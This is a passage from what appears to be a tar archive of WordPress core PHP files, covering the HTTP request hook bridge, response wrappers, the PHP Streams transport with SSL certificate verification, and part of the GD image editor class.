preg_match( $wildcard_regex, $check['host'] ); } else { return ! in_array( $check['host'], $bypass_hosts, true ); } } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-http-requests-hooks.php��������������������������������������������������������������������0000644�����������������00000003675�15120262030�0012757 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * HTTP API: Requests hook bridge class * * @package WordPress * @subpackage HTTP * @since 4.7.0 */ /** * Bridge to connect Requests internal hooks to WordPress actions. * * @since 4.7.0 * * @see Requests_Hooks */ class WP_HTTP_Requests_Hooks extends Requests_Hooks { /** * Requested URL. * * @var string Requested URL. */ protected $url; /** * WordPress WP_HTTP request data. * * @var array Request data in WP_Http format. */ protected $request = array(); /** * Constructor. * * @param string $url URL to request. * @param array $request Request data in WP_Http format. */ public function __construct( $url, $request ) { $this->url = $url; $this->request = $request; } /** * Dispatch a Requests hook to a native WordPress action. * * @param string $hook Hook name. * @param array $parameters Parameters to pass to callbacks. * @return bool True if hooks were run, false if nothing was hooked. */ public function dispatch( $hook, $parameters = array() ) { $result = parent::dispatch( $hook, $parameters ); // Handle back-compat actions. switch ( $hook ) { case 'curl.before_send': /** This action is documented in wp-includes/class-wp-http-curl.php */ do_action_ref_array( 'http_api_curl', array( &$parameters[0], $this->request, $this->url ) ); break; } /** * Transforms a native Request hook to a WordPress action. * * This action maps Requests internal hook to a native WordPress action. * * @see https://github.com/rmccue/Requests/blob/master/docs/hooks.md * * @since 4.7.0 * * @param array $parameters Parameters from Requests internal hook. * @param array $request Request data in WP_Http format. * @param string $url URL to request. */ do_action_ref_array( "requests-{$hook}", $parameters, $this->request, $this->url ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores return $result; } } �������������������������������������������������������������������class-wp-http-requests-response.php�����������������������������������������������������������������0000644�����������������00000010367�15120262030�0013466 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * HTTP API: WP_HTTP_Requests_Response class * * @package WordPress * @subpackage HTTP * @since 4.6.0 */ /** * Core wrapper object for a Requests_Response for standardisation. * * @since 4.6.0 * * @see WP_HTTP_Response */ class WP_HTTP_Requests_Response extends WP_HTTP_Response { /** * Requests Response object. * * @since 4.6.0 * @var Requests_Response */ protected $response; /** * Filename the response was saved to. * * @since 4.6.0 * @var string|null */ protected $filename; /** * Constructor. * * @since 4.6.0 * * @param Requests_Response $response HTTP response. * @param string $filename Optional. File name. Default empty. */ public function __construct( Requests_Response $response, $filename = '' ) { $this->response = $response; $this->filename = $filename; } /** * Retrieves the response object for the request. * * @since 4.6.0 * * @return Requests_Response HTTP response. */ public function get_response_object() { return $this->response; } /** * Retrieves headers associated with the response. * * @since 4.6.0 * * @return \Requests_Utility_CaseInsensitiveDictionary Map of header name to header value. */ public function get_headers() { // Ensure headers remain case-insensitive. $converted = new Requests_Utility_CaseInsensitiveDictionary(); foreach ( $this->response->headers->getAll() as $key => $value ) { if ( count( $value ) === 1 ) { $converted[ $key ] = $value[0]; } else { $converted[ $key ] = $value; } } return $converted; } /** * Sets all header values. * * @since 4.6.0 * * @param array $headers Map of header name to header value. */ public function set_headers( $headers ) { $this->response->headers = new Requests_Response_Headers( $headers ); } /** * Sets a single HTTP header. * * @since 4.6.0 * * @param string $key Header name. * @param string $value Header value. * @param bool $replace Optional. Whether to replace an existing header of the same name. * Default true. */ public function header( $key, $value, $replace = true ) { if ( $replace ) { unset( $this->response->headers[ $key ] ); } $this->response->headers[ $key ] = $value; } /** * Retrieves the HTTP return code for the response. * * @since 4.6.0 * * @return int The 3-digit HTTP status code. */ public function get_status() { return $this->response->status_code; } /** * Sets the 3-digit HTTP status code. * * @since 4.6.0 * * @param int $code HTTP status. */ public function set_status( $code ) { $this->response->status_code = absint( $code ); } /** * Retrieves the response data. * * @since 4.6.0 * * @return string Response data. */ public function get_data() { return $this->response->body; } /** * Sets the response data. * * @since 4.6.0 * * @param string $data Response data. */ public function set_data( $data ) { $this->response->body = $data; } /** * Retrieves cookies from the response. * * @since 4.6.0 * * @return WP_HTTP_Cookie[] List of cookie objects. */ public function get_cookies() { $cookies = array(); foreach ( $this->response->cookies as $cookie ) { $cookies[] = new WP_Http_Cookie( array( 'name' => $cookie->name, 'value' => urldecode( $cookie->value ), 'expires' => isset( $cookie->attributes['expires'] ) ? $cookie->attributes['expires'] : null, 'path' => isset( $cookie->attributes['path'] ) ? $cookie->attributes['path'] : null, 'domain' => isset( $cookie->attributes['domain'] ) ? $cookie->attributes['domain'] : null, 'host_only' => isset( $cookie->flags['host-only'] ) ? $cookie->flags['host-only'] : null, ) ); } return $cookies; } /** * Converts the object to a WP_Http response array. * * @since 4.6.0 * * @return array WP_Http response array, per WP_Http::request(). */ public function to_array() { return array( 'headers' => $this->get_headers(), 'body' => $this->get_data(), 'response' => array( 'code' => $this->get_status(), 'message' => get_status_header_desc( $this->get_status() ), ), 'cookies' => $this->get_cookies(), 'filename' => $this->filename, ); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-http-response.php��������������������������������������������������������������������������0000644�����������������00000005607�15120262030�0011616 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * HTTP API: WP_HTTP_Response class * * @package WordPress * @subpackage HTTP * @since 4.4.0 */ /** * Core class used to prepare HTTP responses. * * @since 4.4.0 */ class WP_HTTP_Response { /** * Response data. * * @since 4.4.0 * @var mixed */ public $data; /** * Response headers. * * @since 4.4.0 * @var array */ public $headers; /** * Response status. * * @since 4.4.0 * @var int */ public $status; /** * Constructor. * * @since 4.4.0 * * @param mixed $data Response data. Default null. * @param int $status Optional. HTTP status code. Default 200. * @param array $headers Optional. HTTP header map. Default empty array. */ public function __construct( $data = null, $status = 200, $headers = array() ) { $this->set_data( $data ); $this->set_status( $status ); $this->set_headers( $headers ); } /** * Retrieves headers associated with the response. * * @since 4.4.0 * * @return array Map of header name to header value. */ public function get_headers() { return $this->headers; } /** * Sets all header values. * * @since 4.4.0 * * @param array $headers Map of header name to header value. */ public function set_headers( $headers ) { $this->headers = $headers; } /** * Sets a single HTTP header. * * @since 4.4.0 * * @param string $key Header name. * @param string $value Header value. * @param bool $replace Optional. Whether to replace an existing header of the same name. * Default true. */ public function header( $key, $value, $replace = true ) { if ( $replace || ! isset( $this->headers[ $key ] ) ) { $this->headers[ $key ] = $value; } else { $this->headers[ $key ] .= ', ' . $value; } } /** * Retrieves the HTTP return code for the response. * * @since 4.4.0 * * @return int The 3-digit HTTP status code. */ public function get_status() { return $this->status; } /** * Sets the 3-digit HTTP status code. * * @since 4.4.0 * * @param int $code HTTP status. */ public function set_status( $code ) { $this->status = absint( $code ); } /** * Retrieves the response data. * * @since 4.4.0 * * @return mixed Response data. */ public function get_data() { return $this->data; } /** * Sets the response data. * * @since 4.4.0 * * @param mixed $data Response data. */ public function set_data( $data ) { $this->data = $data; } /** * Retrieves the response data for JSON serialization. * * It is expected that in most implementations, this will return the same as get_data(), * however this may be different if you want to do custom JSON data handling. * * @since 4.4.0 * * @return mixed Any JSON-serializable value. */ public function jsonSerialize() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid return $this->get_data(); } } �������������������������������������������������������������������������������������������������������������������������class-wp-http-streams.php���������������������������������������������������������������������������0000644�����������������00000037365�15120262030�0011444 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * HTTP API: WP_Http_Streams class * * @package WordPress * @subpackage HTTP * @since 4.4.0 */ /** * Core class used to integrate PHP Streams as an HTTP transport. * * @since 2.7.0 * @since 3.7.0 Combined with the fsockopen transport and switched to `stream_socket_client()`. */ class WP_Http_Streams { /** * Send a HTTP request to a URI using PHP Streams. * * @see WP_Http::request For default options descriptions. * * @since 2.7.0 * @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client(). * * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error */ public function request( $url, $args = array() ) { $defaults = array( 'method' => 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => null, 'cookies' => array(), ); $parsed_args = wp_parse_args( $args, $defaults ); if ( isset( $parsed_args['headers']['User-Agent'] ) ) { $parsed_args['user-agent'] = $parsed_args['headers']['User-Agent']; unset( $parsed_args['headers']['User-Agent'] ); } elseif ( isset( $parsed_args['headers']['user-agent'] ) ) { $parsed_args['user-agent'] = $parsed_args['headers']['user-agent']; unset( $parsed_args['headers']['user-agent'] ); } // Construct Cookie: header if any cookies are set. WP_Http::buildCookieHeader( $parsed_args ); $arrURL = parse_url( $url ); $connect_host = $arrURL['host']; $secure_transport = ( 'ssl' === $arrURL['scheme'] || 'https' === $arrURL['scheme'] ); if ( ! isset( $arrURL['port'] ) ) { if ( 'ssl' === $arrURL['scheme'] || 'https' === $arrURL['scheme'] ) { $arrURL['port'] = 443; $secure_transport = true; } else { $arrURL['port'] = 80; } } // Always pass a path, defaulting to the root in cases such as http://example.com. if ( ! isset( $arrURL['path'] ) ) { $arrURL['path'] = '/'; } if ( isset( $parsed_args['headers']['Host'] ) || isset( $parsed_args['headers']['host'] ) ) { if ( isset( $parsed_args['headers']['Host'] ) ) { $arrURL['host'] = $parsed_args['headers']['Host']; } else { $arrURL['host'] = $parsed_args['headers']['host']; } unset( $parsed_args['headers']['Host'], $parsed_args['headers']['host'] ); } /* * Certain versions of PHP have issues with 'localhost' and IPv6, It attempts to connect * to ::1, which fails when the server is not set up for it. For compatibility, always * connect to the IPv4 address. */ if ( 'localhost' === strtolower( $connect_host ) ) { $connect_host = '127.0.0.1'; } $connect_host = $secure_transport ? 'ssl://' . $connect_host : 'tcp://' . $connect_host; $is_local = isset( $parsed_args['local'] ) && $parsed_args['local']; $ssl_verify = isset( $parsed_args['sslverify'] ) && $parsed_args['sslverify']; if ( $is_local ) { /** * Filters whether SSL should be verified for local HTTP API requests. * * @since 2.8.0 * @since 5.1.0 The `$url` parameter was added. * * @param bool $ssl_verify Whether to verify the SSL connection. Default true. * @param string $url The request URL. */ $ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify, $url ); } elseif ( ! $is_local ) { /** This filter is documented in wp-includes/class-http.php */ $ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify, $url ); } $proxy = new WP_HTTP_Proxy(); $context = stream_context_create( array( 'ssl' => array( 'verify_peer' => $ssl_verify, // 'CN_match' => $arrURL['host'], // This is handled by self::verify_ssl_certificate(). 'capture_peer_cert' => $ssl_verify, 'SNI_enabled' => true, 'cafile' => $parsed_args['sslcertificates'], 'allow_self_signed' => ! $ssl_verify, ), ) ); $timeout = (int) floor( $parsed_args['timeout'] ); $utimeout = $timeout == $parsed_args['timeout'] ? 0 : 1000000 * $parsed_args['timeout'] % 1000000; $connect_timeout = max( $timeout, 1 ); // Store error number. $connection_error = null; // Store error string. $connection_error_str = null; if ( ! WP_DEBUG ) { // In the event that the SSL connection fails, silence the many PHP warnings. if ( $secure_transport ) { $error_reporting = error_reporting( 0 ); } if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged $handle = @stream_socket_client( 'tcp://' . $proxy->host() . ':' . $proxy->port(), $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context ); } else { // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged $handle = @stream_socket_client( $connect_host . ':' . $arrURL['port'], $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context ); } if ( $secure_transport ) { error_reporting( $error_reporting ); } } else { if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { $handle = stream_socket_client( 'tcp://' . $proxy->host() . ':' . $proxy->port(), $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context ); } else { $handle = stream_socket_client( $connect_host . ':' . $arrURL['port'], $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context ); } } if ( false === $handle ) { // SSL connection failed due to expired/invalid cert, or, OpenSSL configuration is broken. if ( $secure_transport && 0 === $connection_error && '' === $connection_error_str ) { return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) ); } return new WP_Error( 'http_request_failed', $connection_error . ': ' . $connection_error_str ); } // Verify that the SSL certificate is valid for this request. if ( $secure_transport && $ssl_verify && ! $proxy->is_enabled() ) { if ( ! self::verify_ssl_certificate( $handle, $arrURL['host'] ) ) { return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) ); } } stream_set_timeout( $handle, $timeout, $utimeout ); if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { // Some proxies require full URL in this field. $requestPath = $url; } else { $requestPath = $arrURL['path'] . ( isset( $arrURL['query'] ) ? '?' . $arrURL['query'] : '' ); } $strHeaders = strtoupper( $parsed_args['method'] ) . ' ' . $requestPath . ' HTTP/' . $parsed_args['httpversion'] . "\r\n"; $include_port_in_host_header = ( ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) || ( 'http' === $arrURL['scheme'] && 80 != $arrURL['port'] ) || ( 'https' === $arrURL['scheme'] && 443 != $arrURL['port'] ) ); if ( $include_port_in_host_header ) { $strHeaders .= 'Host: ' . $arrURL['host'] . ':' . $arrURL['port'] . "\r\n"; } else { $strHeaders .= 'Host: ' . $arrURL['host'] . "\r\n"; } if ( isset( $parsed_args['user-agent'] ) ) { $strHeaders .= 'User-agent: ' . $parsed_args['user-agent'] . "\r\n"; } if ( is_array( $parsed_args['headers'] ) ) { foreach ( (array) $parsed_args['headers'] as $header => $headerValue ) { $strHeaders .= $header . ': ' . $headerValue . "\r\n"; } } else { $strHeaders .= $parsed_args['headers']; } if ( $proxy->use_authentication() ) { $strHeaders .= $proxy->authentication_header() . "\r\n"; } $strHeaders .= "\r\n"; if ( ! is_null( $parsed_args['body'] ) ) { $strHeaders .= $parsed_args['body']; } fwrite( $handle, $strHeaders ); if ( ! $parsed_args['blocking'] ) { stream_set_blocking( $handle, 0 ); fclose( $handle ); return array( 'headers' => array(), 'body' => '', 'response' => array( 'code' => false, 'message' => false, ), 'cookies' => array(), ); } $strResponse = ''; $bodyStarted = false; $keep_reading = true; $block_size = 4096; if ( isset( $parsed_args['limit_response_size'] ) ) { $block_size = min( $block_size, $parsed_args['limit_response_size'] ); } // If streaming to a file setup the file handle. if ( $parsed_args['stream'] ) { if ( ! WP_DEBUG ) { $stream_handle = @fopen( $parsed_args['filename'], 'w+' ); } else { $stream_handle = fopen( $parsed_args['filename'], 'w+' ); } if ( ! $stream_handle ) { return new WP_Error( 'http_request_failed', sprintf( /* translators: 1: fopen(), 2: File name. */ __( 'Could not open handle for %1$s to %2$s.' ), 'fopen()', $parsed_args['filename'] ) ); } $bytes_written = 0; while ( ! feof( $handle ) && $keep_reading ) { $block = fread( $handle, $block_size ); if ( ! $bodyStarted ) { $strResponse .= $block; if ( strpos( $strResponse, "\r\n\r\n" ) ) { $process = WP_Http::processResponse( $strResponse ); $bodyStarted = true; $block = $process['body']; unset( $strResponse ); $process['body'] = ''; } } $this_block_size = strlen( $block ); if ( isset( $parsed_args['limit_response_size'] ) && ( $bytes_written + $this_block_size ) > $parsed_args['limit_response_size'] ) { $this_block_size = ( $parsed_args['limit_response_size'] - $bytes_written ); $block = substr( $block, 0, $this_block_size ); } $bytes_written_to_file = fwrite( $stream_handle, $block ); if ( $bytes_written_to_file != $this_block_size ) { fclose( $handle ); fclose( $stream_handle ); return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) ); } $bytes_written += $bytes_written_to_file; $keep_reading = ! isset( $parsed_args['limit_response_size'] ) || $bytes_written < $parsed_args['limit_response_size']; } fclose( $stream_handle ); } else { $header_length = 0; while ( ! feof( $handle ) && $keep_reading ) { $block = fread( $handle, $block_size ); $strResponse .= $block; if ( ! $bodyStarted && strpos( $strResponse, "\r\n\r\n" ) ) { $header_length = strpos( $strResponse, "\r\n\r\n" ) + 4; $bodyStarted = true; } $keep_reading = ( ! $bodyStarted || ! isset( $parsed_args['limit_response_size'] ) || strlen( $strResponse ) < ( $header_length + $parsed_args['limit_response_size'] ) ); } $process = WP_Http::processResponse( $strResponse ); unset( $strResponse ); } fclose( $handle ); $arrHeaders = WP_Http::processHeaders( $process['headers'], $url ); $response = array( 'headers' => $arrHeaders['headers'], // Not yet processed. 'body' => null, 'response' => $arrHeaders['response'], 'cookies' => $arrHeaders['cookies'], 'filename' => $parsed_args['filename'], ); // Handle redirects. $redirect_response = WP_Http::handle_redirects( $url, $parsed_args, $response ); if ( false !== $redirect_response ) { return $redirect_response; } // If the body was chunk encoded, then decode it. if ( ! empty( $process['body'] ) && isset( $arrHeaders['headers']['transfer-encoding'] ) && 'chunked' === $arrHeaders['headers']['transfer-encoding'] ) { $process['body'] = WP_Http::chunkTransferDecode( $process['body'] ); } if ( true === $parsed_args['decompress'] && true === WP_Http_Encoding::should_decode( $arrHeaders['headers'] ) ) { $process['body'] = WP_Http_Encoding::decompress( $process['body'] ); } if ( isset( $parsed_args['limit_response_size'] ) && strlen( $process['body'] ) > $parsed_args['limit_response_size'] ) { $process['body'] = substr( $process['body'], 0, $parsed_args['limit_response_size'] ); } $response['body'] = $process['body']; return $response; } /** * Verifies the received SSL certificate against its Common Names and subjectAltName fields. * * PHP's SSL verifications only verify that it's a valid Certificate, it doesn't verify if * the certificate is valid for the hostname which was requested. * This function verifies the requested hostname against certificate's subjectAltName field, * if that is empty, or contains no DNS entries, a fallback to the Common Name field is used. * * IP Address support is included if the request is being made to an IP address. * * @since 3.7.0 * * @param stream $stream The PHP Stream which the SSL request is being made over * @param string $host The hostname being requested * @return bool If the cerficiate presented in $stream is valid for $host */ public static function verify_ssl_certificate( $stream, $host ) { $context_options = stream_context_get_options( $stream ); if ( empty( $context_options['ssl']['peer_certificate'] ) ) { return false; } $cert = openssl_x509_parse( $context_options['ssl']['peer_certificate'] ); if ( ! $cert ) { return false; } /* * If the request is being made to an IP address, we'll validate against IP fields * in the cert (if they exist) */ $host_type = ( WP_Http::is_ip_address( $host ) ? 'ip' : 'dns' ); $certificate_hostnames = array(); if ( ! empty( $cert['extensions']['subjectAltName'] ) ) { $match_against = preg_split( '/,\s*/', $cert['extensions']['subjectAltName'] ); foreach ( $match_against as $match ) { list( $match_type, $match_host ) = explode( ':', $match ); if ( strtolower( trim( $match_type ) ) === $host_type ) { // IP: or DNS: $certificate_hostnames[] = strtolower( trim( $match_host ) ); } } } elseif ( ! empty( $cert['subject']['CN'] ) ) { // Only use the CN when the certificate includes no subjectAltName extension. $certificate_hostnames[] = strtolower( $cert['subject']['CN'] ); } // Exact hostname/IP matches. if ( in_array( strtolower( $host ), $certificate_hostnames, true ) ) { return true; } // IP's can't be wildcards, Stop processing. if ( 'ip' === $host_type ) { return false; } // Test to see if the domain is at least 2 deep for wildcard support. if ( substr_count( $host, '.' ) < 2 ) { return false; } // Wildcard subdomains certs (*.example.com) are valid for a.example.com but not a.b.example.com. $wildcard_host = preg_replace( '/^[^.]+\./', '*.', $host ); return in_array( strtolower( $wildcard_host ), $certificate_hostnames, true ); } /** * Determines whether this class can be used for retrieving a URL. * * @since 2.7.0 * @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client(). * * @param array $args Optional. Array of request arguments. Default empty array. * @return bool False means this class can not be used, true means it can. */ public static function test( $args = array() ) { if ( ! function_exists( 'stream_socket_client' ) ) { return false; } $is_ssl = isset( $args['ssl'] ) && $args['ssl']; if ( $is_ssl ) { if ( ! extension_loaded( 'openssl' ) ) { return false; } if ( ! function_exists( 'openssl_x509_parse' ) ) { return false; } } /** * Filters whether streams can be used as a transport for retrieving a URL. * * @since 2.7.0 * * @param bool $use_class Whether the class can be used. Default true. * @param array $args Request arguments. */ return apply_filters( 'use_streams_transport', true, $args ); } } /** * Deprecated HTTP Transport method which used fsockopen. * * This class is not used, and is included for backward compatibility only. * All code should make use of WP_Http directly through its API. * * @see WP_HTTP::request * * @since 2.7.0 * @deprecated 3.7.0 Please use WP_HTTP::request() directly */ class WP_HTTP_Fsockopen extends WP_HTTP_Streams { // For backward compatibility for users who are using the class directly. } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-image-editor-cron.php����������������������������������������������������������������������0000644�����������������00000000000�15120262030�0012266 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-image-editor-gd.php������������������������������������������������������������������������0000644�����������������00000034442�15120262030�0011740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WordPress GD Image Editor * * @package WordPress * @subpackage Image_Editor */ /** * WordPress Image Editor Class for Image Manipulation through GD * * @since 3.5.0 * * @see WP_Image_Editor */ class WP_Image_Editor_GD extends WP_Image_Editor { /** * GD Resource. * * @var resource|GdImage */ protected $image; public function __destruct() { if ( $this->image ) { // We don't need the original in memory anymore. imagedestroy( $this->image ); } } /** * Checks to see if current environment supports GD. * * @since 3.5.0 * * @param array $args * @return bool */ public static function test( $args = array() ) { if ( ! extension_loaded( 'gd' ) || ! function_exists( 'gd_info' ) ) { return false; } // On some setups GD library does not provide imagerotate() - Ticket #11536. if ( isset( $args['methods'] ) && in_array( 'rotate', $args['methods'], true ) && ! function_exists( 'imagerotate' ) ) { return false; } return true; } /** * Checks to see if editor supports the mime-type specified. * * @since 3.5.0 * * @param string $mime_type * @return bool */ public static function supports_mime_type( $mime_type ) { $image_types = imagetypes(); switch ( $mime_type ) { case 'image/jpeg': return ( $image_types & IMG_JPG ) != 0; case 'image/png': return ( $image_types & IMG_PNG ) != 0; case 'image/gif': return ( $image_types & IMG_GIF ) != 0; } return false; } /** * Loads image from $this->file into new GD Resource. * * @since 3.5.0 * * @return true|WP_Error True if loaded successfully; WP_Error on failure. */ public function load() { if ( $this->image ) { return true; } if ( ! is_file( $this->file ) && ! preg_match( '|^https?://|', $this->file ) ) { return new WP_Error( 'error_loading_image', __( 'File doesn’t exist?' ), $this->file ); } // Set artificially high because GD uses uncompressed images in memory. wp_raise_memory_limit( 'image' ); $file_contents = @file_get_contents( $this->file ); if ( ! $file_contents ) { return new WP_Error( 'error_loading_image', __( 'File doesn’t exist?' ), $this->file ); } $this->image = @imagecreatefromstring( $file_contents ); if ( ! is_gd_image( $this->image ) ) { return new WP_Error( 'invalid_image', __( 'File is not an image.' ), $this->file ); } $size = wp_getimagesize( $this->file ); if ( ! $size ) { return new WP_Error( 'invalid_image', __( 'Could not read image size.' ), $this->file ); } if ( function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' ) ) { imagealphablending( $this->image, false ); imagesavealpha( $this->image, true ); } $this->update_size( $size[0], $size[1] ); $this->mime_type = $size['mime']; return $this->set_quality(); } /** * Sets or updates current image size. * * @since 3.5.0 * * @param int $width * @param int $height * @return true */ protected function update_size( $width = false, $height = false ) { if ( ! $width ) { $width = imagesx( $this->image ); } if ( ! $height ) { $height = imagesy( $this->image ); } return parent::update_size( $width, $height ); } /** * Resizes current image. * * Wraps `::_resize()` which returns a GD resource or GdImage instance. * * At minimum, either a height or width must be provided. If one of the two is set * to null, the resize will maintain aspect ratio according to the provided dimension. * * @since 3.5.0 * * @param int|null $max_w Image width. * @param int|null $max_h Image height. * @param bool $crop * @return true|WP_Error */ public function resize( $max_w, $max_h, $crop = false ) { if ( ( $this->size['width'] == $max_w ) && ( $this->size['height'] == $max_h ) ) { return true; } $resized = $this->_resize( $max_w, $max_h, $crop ); if ( is_gd_image( $resized ) ) { imagedestroy( $this->image ); $this->image = $resized; return true; } elseif ( is_wp_error( $resized ) ) { return $resized; } return new WP_Error( 'image_resize_error', __( 'Image resize failed.' ), $this->file ); } /** * @param int $max_w * @param int $max_h * @param bool|array $crop * @return resource|GdImage|WP_Error */ protected function _resize( $max_w, $max_h, $crop = false ) { $dims = image_resize_dimensions( $this->size['width'], $this->size['height'], $max_w, $max_h, $crop ); if ( ! $dims ) { return new WP_Error( 'error_getting_dimensions', __( 'Could not calculate resized image dimensions' ), $this->file ); } list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims; $resized = wp_imagecreatetruecolor( $dst_w, $dst_h ); imagecopyresampled( $resized, $this->image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ); if ( is_gd_image( $resized ) ) { $this->update_size( $dst_w, $dst_h ); return $resized; } return new WP_Error( 'image_resize_error', __( 'Image resize failed.' ), $this->file ); } /** * Create multiple smaller images from a single source. * * Attempts to create all sub-sizes and returns the meta data at the end. This * may result in the server running out of resources. When it fails there may be few * "orphaned" images left over as the meta data is never returned and saved. * * As of 5.3.0 the preferred way to do this is with `make_subsize()`. It creates * the new images one at a time and allows for the meta data to be saved after * each new image is created. * * @since 3.5.0 * * @param array $sizes { * An array of image size data arrays. * * Either a height or width must be provided. * If one of the two is set to null, the resize will * maintain aspect ratio according to the source image. * * @type array $size { * Array of height, width values, and whether to crop. * * @type int $width Image width. Optional if `$height` is specified. * @type int $height Image height. Optional if `$width` is specified. * @type bool $crop Optional. Whether to crop the image. Default false. * } * } * @return array An array of resized images' metadata by size. */ public function multi_resize( $sizes ) { $metadata = array(); foreach ( $sizes as $size => $size_data ) { $meta = $this->make_subsize( $size_data ); if ( ! is_wp_error( $meta ) ) { $metadata[ $size ] = $meta; } } return $metadata; } /** * Create an image sub-size and return the image meta data value for it. * * @since 5.3.0 * * @param array $size_data { * Array of size data. * * @type int $width The maximum width in pixels. * @type int $height The maximum height in pixels. * @type bool $crop Whether to crop the image to exact dimensions. * } * @return array|WP_Error The image data array for inclusion in the `sizes` array in the image meta, * WP_Error object on error. */ public function make_subsize( $size_data ) { if ( ! isset( $size_data['width'] ) && ! isset( $size_data['height'] ) ) { return new WP_Error( 'image_subsize_create_error', __( 'Cannot resize the image. Both width and height are not set.' ) ); } $orig_size = $this->size; if ( ! isset( $size_data['width'] ) ) { $size_data['width'] = null; } if ( ! isset( $size_data['height'] ) ) { $size_data['height'] = null; } if ( ! isset( $size_data['crop'] ) ) { $size_data['crop'] = false; } $resized = $this->_resize( $size_data['width'], $size_data['height'], $size_data['crop'] ); if ( is_wp_error( $resized ) ) { $saved = $resized; } else { $saved = $this->_save( $resized ); imagedestroy( $resized ); } $this->size = $orig_size; if ( ! is_wp_error( $saved ) ) { unset( $saved['path'] ); } return $saved; } /** * Crops Image. * * @since 3.5.0 * * @param int $src_x The start x position to crop from. * @param int $src_y The start y position to crop from. * @param int $src_w The width to crop. * @param int $src_h The height to crop. * @param int $dst_w Optional. The destination width. * @param int $dst_h Optional. The destination height. * @param bool $src_abs Optional. If the source crop points are absolute. * @return true|WP_Error */ public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) { // If destination width/height isn't specified, // use same as width/height from source. if ( ! $dst_w ) { $dst_w = $src_w; } if ( ! $dst_h ) { $dst_h = $src_h; } foreach ( array( $src_w, $src_h, $dst_w, $dst_h ) as $value ) { if ( ! is_numeric( $value ) || (int) $value <= 0 ) { return new WP_Error( 'image_crop_error', __( 'Image crop failed.' ), $this->file ); } } $dst = wp_imagecreatetruecolor( (int) $dst_w, (int) $dst_h ); if ( $src_abs ) { $src_w -= $src_x; $src_h -= $src_y; } if ( function_exists( 'imageantialias' ) ) { imageantialias( $dst, true ); } imagecopyresampled( $dst, $this->image, 0, 0, (int) $src_x, (int) $src_y, (int) $dst_w, (int) $dst_h, (int) $src_w, (int) $src_h ); if ( is_gd_image( $dst ) ) { imagedestroy( $this->image ); $this->image = $dst; $this->update_size(); return true; } return new WP_Error( 'image_crop_error', __( 'Image crop failed.' ), $this->file ); } /** * Rotates current image counter-clockwise by $angle. * Ported from image-edit.php * * @since 3.5.0 * * @param float $angle * @return true|WP_Error */ public function rotate( $angle ) { if ( function_exists( 'imagerotate' ) ) { $transparency = imagecolorallocatealpha( $this->image, 255, 255, 255, 127 ); $rotated = imagerotate( $this->image, $angle, $transparency ); if ( is_gd_image( $rotated ) ) { imagealphablending( $rotated, true ); imagesavealpha( $rotated, true ); imagedestroy( $this->image ); $this->image = $rotated; $this->update_size(); return true; } } return new WP_Error( 'image_rotate_error', __( 'Image rotate failed.' ), $this->file ); } /** * Flips current image. * * @since 3.5.0 * * @param bool $horz Flip along Horizontal Axis. * @param bool $vert Flip along Vertical Axis. * @return true|WP_Error */ public function flip( $horz, $vert ) { $w = $this->size['width']; $h = $this->size['height']; $dst = wp_imagecreatetruecolor( $w, $h ); if ( is_gd_image( $dst ) ) { $sx = $vert ? ( $w - 1 ) : 0; $sy = $horz ? ( $h - 1 ) : 0; $sw = $vert ? -$w : $w; $sh = $horz ? -$h : $h; if ( imagecopyresampled( $dst, $this->image, 0, 0, $sx, $sy, $w, $h, $sw, $sh ) ) { imagedestroy( $this->image ); $this->image = $dst; return true; } } return new WP_Error( 'image_flip_error', __( 'Image flip failed.' ), $this->file ); } /** * Saves current in-memory image to file. * * @since 3.5.0 * * @param string|null $filename * @param string|null $mime_type * @return array|WP_Error {'path'=>string, 'file'=>string, 'width'=>int, 'height'=>int, 'mime-type'=>string} */ public function save( $filename = null, 